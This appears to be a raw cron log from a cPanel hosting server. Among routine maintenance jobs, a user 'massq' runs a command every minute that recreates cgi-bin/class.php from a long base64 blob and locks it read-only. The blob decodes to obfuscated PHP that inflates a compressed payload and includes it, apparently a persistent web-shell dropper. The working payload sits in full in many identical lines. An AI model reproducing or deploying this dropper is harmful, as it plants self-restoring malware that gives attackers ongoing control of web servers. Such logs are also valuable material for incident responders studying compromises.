Sep  1 14:00:01 server CROND[9248]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:00:01 server CROND[9247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:00:01 server CROND[9250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:00:01 server CROND[9249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:00:01 server CROND[9251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:01:01 server CROND[10115]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 14:01:01 server CROND[10116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:01:01 server CROND[10114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:01:01 server CROND[10117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:01:01 server run-parts(/etc/cron.hourly)[10115]: starting 0anacron
Sep  1 14:01:01 server run-parts(/etc/cron.hourly)[10136]: finished 0anacron
Sep  1 14:02:01 server CROND[10514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:02:01 server CROND[10516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:02:01 server CROND[10517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:03:01 server CROND[10899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:03:01 server CROND[10900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:03:01 server CROND[10902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:04:01 server CROND[11380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:04:01 server CROND[11381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:04:01 server CROND[11382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:05:01 server CROND[11779]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 14:05:01 server CROND[11780]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:05:01 server CROND[11795]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 14:05:01 server CROND[11794]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:05:01 server CROND[11798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:05:01 server CROND[11797]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:05:01 server CROND[11800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:05:01 server CROND[11796]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:05:01 server CROND[11799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:06:01 server CROND[12723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:06:01 server CROND[12724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:06:01 server CROND[12725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:07:01 server CROND[13118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:07:01 server CROND[13117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:07:01 server CROND[13119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:08:01 server CROND[13513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:08:01 server CROND[13514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:08:01 server CROND[13515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:09:01 server CROND[14016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:09:01 server CROND[14017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:09:01 server CROND[14020]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 14:09:01 server CROND[14018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:10:01 server CROND[14423]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 14:10:01 server CROND[14425]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 14:10:01 server CROND[14429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 14:10:01 server CROND[14432]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 14:10:01 server CROND[14433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:10:01 server CROND[14430]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 14:10:01 server CROND[14428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 14:10:01 server CROND[14431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 14:11:01 server CROND[15305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 14:11:01 server CROND[15306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
